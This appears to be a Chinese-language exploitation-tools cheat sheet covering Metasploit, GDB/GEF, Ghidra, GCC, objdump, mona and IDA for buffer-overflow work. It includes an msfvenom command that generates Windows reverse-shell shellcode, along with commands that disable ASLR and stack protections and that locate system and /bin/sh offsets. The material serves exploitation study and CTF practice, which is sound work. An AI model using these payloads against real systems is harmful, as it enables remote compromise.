# 利用工具

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## Metasploit
```
pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB

### 安装
```
apt-get install gdb
```
### 参数
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### 指令
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks

#### GDB 相同地址

在调试时，GDB 的 **地址会与执行时二进制文件使用的地址略有不同。** 你可以通过以下方式使 GDB 拥有相同的地址：

- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _输入二进制文件的绝对路径_
- 使用相同的绝对路径利用二进制文件
- 使用 GDB 和利用二进制文件时，`PWD` 和 `OLDPWD` 必须相同

#### 回溯以查找调用的函数

当你有一个 **静态链接的二进制文件** 时，所有函数将属于该二进制文件（而不是外部库）。在这种情况下，**识别二进制文件的执行流程以例如请求用户输入** 将会很困难。\
你可以通过 **运行** 二进制文件并 **使用 gdb** 直到被要求输入来轻松识别这个流程。然后，使用 **CTRL+C** 停止它，并使用 **`bt`** （**回溯**）命令查看调用的函数：
```
gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()
```
### GDB 服务器

`gdbserver --multi 0.0.0.0:23947`（在 IDA 中，您必须填写 Linux 机器上可执行文件的绝对路径，在 Windows 机器上也是如此）

## Ghidra

### 查找栈偏移量

**Ghidra** 非常有用，可以找到 **缓冲区溢出的偏移量，感谢有关局部变量位置的信息。**\
例如，在下面的示例中，`local_bc` 中的缓冲区流表明您需要 `0xbc` 的偏移量。此外，如果 `local_10` 是一个金丝雀 cookie，则表明要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\
_请记住，保存 RIP 的前 0x08 属于 RBP。_

![](<../../images/image (616).png>)

## GCC

**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\
**-o** --> 输出\
**-g** --> 保存代码（GDB 将能够看到它）\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR

**编译 shellcode：**\
**nasm -f elf assembly.asm** --> 返回一个 ".o"\
**ld assembly.o -o shellcodeout** --> 可执行文件

## Objdump

**-d** --> **反汇编可执行**部分（查看编译的 shellcode 的操作码，查找 ROP Gadget，查找函数地址...）\
**-Mintel** --> **Intel** 语法\
**-t** --> **符号**表\
**-D** --> **反汇编所有**（静态变量的地址）\
**-s -j .dtors** --> dtors 部分\
**-s -j .got** --> got 部分\
\-D -s -j .plt --> **plt** 部分 **反编译**\
**-TR** --> **重定位**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> 在 GOT 中修改 "puts" 的地址\
**objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址（这些存储在 DATA 部分）。

## 核转储

1. 在启动我的程序之前运行 `ulimit -c unlimited`
2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet

## 更多

**ldd executable | grep libc.so.6** --> 地址（如果 ASLR，则每次都会更改）\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否变化很大\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量

**strace executable** --> 可执行文件调用的函数\
**rabin2 -i ejecutable -->** 所有函数的地址

## **Inmunity 调试器**
```bash
!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)
```
## IDA

### 在远程 Linux 中调试

在 IDA 文件夹中，您可以找到可以用于在 Linux 中调试二进制文件的二进制文件。要做到这一点，将二进制文件 _linux_server_ 或 _linux_server64_ 移动到 Linux 服务器中，并在包含该二进制文件的文件夹中运行它：
```
./linux_server64 -Ppass
```
然后，配置调试器：调试器（linux 远程） --> 进程选项...：

![](<../../images/image (101).png>)

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